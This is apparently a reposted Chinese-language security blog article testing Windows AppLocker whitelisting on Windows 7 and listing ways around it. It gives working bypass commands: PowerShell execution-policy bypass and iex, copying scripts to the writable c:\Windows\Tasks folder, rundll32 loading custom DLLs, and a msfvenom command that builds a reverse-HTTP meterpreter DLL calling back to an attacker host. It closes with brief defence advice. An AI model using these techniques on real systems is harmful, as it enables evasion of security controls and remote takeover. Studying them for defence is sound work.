Bypass Windows AppLocker

0x00 前言

2016010708532215158125

上一次我們對McAfee Application Control做了測試,這次接著對另一款白名單工具Windows AppLocker進行測試,分享一下其中的攻防技術。

0x01 簡介

Windows AppLocker,即“應用程式控制策略”,可用來對可執行程式、安裝程式和腳本進行控制,之前只能支持windows7 Enterprise、windows7 Ultimate和WindowsServer2008 R2,但是微軟在2012年10月18日將其更新,已支持Windows8.1,Windows Server2012 R2,WindowsServer2012和Windows8 Enterprise

如圖

2016010708532472169215

AppLocker可對以下檔案格式創建規則,限制其執行

2016010708532657699312

下面我們就實際測試一下相關功能

0x02 配置

測試環境:

OS:Windows7 Ultimate x86

1、開啟服務

進入電腦管理-服務-Application Identity,將服務設置為開啟

如圖

2016010708532884473413

2、進入AppLocker配置介面

輸入secpol.msc進入本地安全性原則-應用程式控制策略-AppLocker

或者gpedit.msc-電腦配置-Windows設置-安全設置-應用程式控制策略-AppLocker

如圖

2016010708533051667510

3、配置規則

對可執行檔設置預設規則:

允許本地管理員組的成員運行所有應用程式。

允許 Everyone 組的成員運行位於 Windows 資料夾中的應用程式。

允許 Everyone 組的成員運行位於 Program Files 資料夾中的應用程式。

如圖

201601070853324481668

對腳本設置預設規則:

允許本地管理員組的成員運行所有腳本。

允許 Everyone 組的成員運行位於 Program Files 資料夾中的腳本。

允許 Everyone 組的成員運行位於 Windows 資料夾中的腳本。

如圖

201601070853346469977

開啟預設規則後,除了預設路徑可以執行外,其他路徑均無法執行程式和腳本

0x03 測試

1、執行exe

201601070853351262887

2、執行腳本

201601070853379665797

2016010708533899575107

0x04 安全機制分析

通過測試發現設置的規則已經生效,能夠阻止信任路徑外的exe和腳本執行,但是對以下方面沒有做限制:

記憶體

Office 

HTML Applications,即hta文件

powershell

而我們已經掌握的繞過技術有:

 

利用hta檔

利用jscript

利用powershell

利用InstallUtil

利用regsvcs

再加上新學來的技巧,我們最終發現了如下可供利用的方法

 

0x05 繞過方法

1、hta

成功

(可參照http://drops.wooyun.org/tips/10667)

可用來執行vbs和JavaScript腳本

2、提權

提權到管理員許可權,即可執行突破AppLocker的限制,執行exe和腳本

3、powershell

(1)可以執行ps腳本

PowerShell.exe -ExecutionPolicy Bypass -File

(2)可以通過如下方式執行ps腳本

Get-Content script.txt | iex

(3)可以利用快捷方式執行Powershell

成功

(可參照http://drops.wooyun.org/tips/10667)

4、進程注入

既然可以執行powershell腳本,那麼就可以反彈出meterpreter

然後嘗試進程注入

(可參照http://drops.wooyun.org/tips/11305)

如果注入到普通許可權進程,無法執行exe和腳本

如果是system許可權進程,可以執行exe和腳本

5、查找可利用的檔路徑

通過ps腳本掃描可寫入的路徑

下載地址:http://go.mssec.se/AppLockerBC

(如果無法下載,我已將該腳本上傳至Github)

測試如圖

20160107085340652771112

2016010708534199082126

2016010708534388782134

執行後會自動掃描出可利用的路徑

比如選擇路徑:c:\Windows\Tasks

正常執行calc.js會被攔截

但是copy calc.js c:\Windows\Tasks後

再執行c:\Windows\Tasks\calc.js,可以繞過攔截

如圖

2016010708534537138144

6、rundll32

(1)執行JavaScript

a、直接彈回一個Http shell

(可參照http://drops.wooyun.org/tips/11764)

但無法繞過對執行exe和腳本的攔截

b、利用JavaScript執行powershell命令返回HTTP shell

2016010708534799119154

(2)載入協力廠商dll

a、自己編寫的dll

參考資料:

cmd.dll

按照dll的格式,自己編寫並生成dll上傳

執行

rundll32.exe cmd.dll,Control_RunDLL

彈出一個cmd

如圖

2016010708534851450163

b、反彈meterpreter

kali下:

msfvenom -p windows/meterpreter/reverse_http -f dll LHOST=192.168.174.133 LPORT=8080>./a.dll

生成a.dll,然後上傳至測試主機

執行

rundll32.exe a.dll,Control_RunDLL

即可上線

2016010708534958386173

7、利用InstallUtil

利用InstallUtil.exe直接執行shellcode 成功

如果有Microsoft .NET Framework 4.0環境,可用來執行exe

(可參照http://drops.wooyun.org/tips/8701,http://drops.wooyun.org/tips/8862)

8、利用regsvcs

成功

(可參照http://drops.wooyun.org/tips/10667)

0x06 防禦

嚴格控制文件寫入許可權

禁用mshta.exe阻止hta的運行

禁用powershell

防止被提權

0x07 小結

隨著研究的逐漸深入,我們不難發現:利用InstallUtil、regsvcs是繞過白名單限制的一把利器,無論是攻擊還是防禦,對此部分都要尤其重視。

而利用rundll32.exe的技巧,正在慢慢被發掘。

0x08 參考資料:

https://technet.microsoft.com/en-us/library/dd759117.aspx

https://technet.microsoft.com/en-us/library/hh831440.aspx

http://dfir-blog.com/2016/01/03/protecting-windows-networks-applocker/

AppLocker Bypass Checker

rundll32 lockdown testing goodness

cmd.dll

相關檔下載地址:

https://github.com/3gstudent/Bypass-Windows-AppLocker

 

文章來源:http://drops.wooyun.org/tips/11804

圖片來源:https://pixabay.com/

您可能也會喜歡…

發佈留言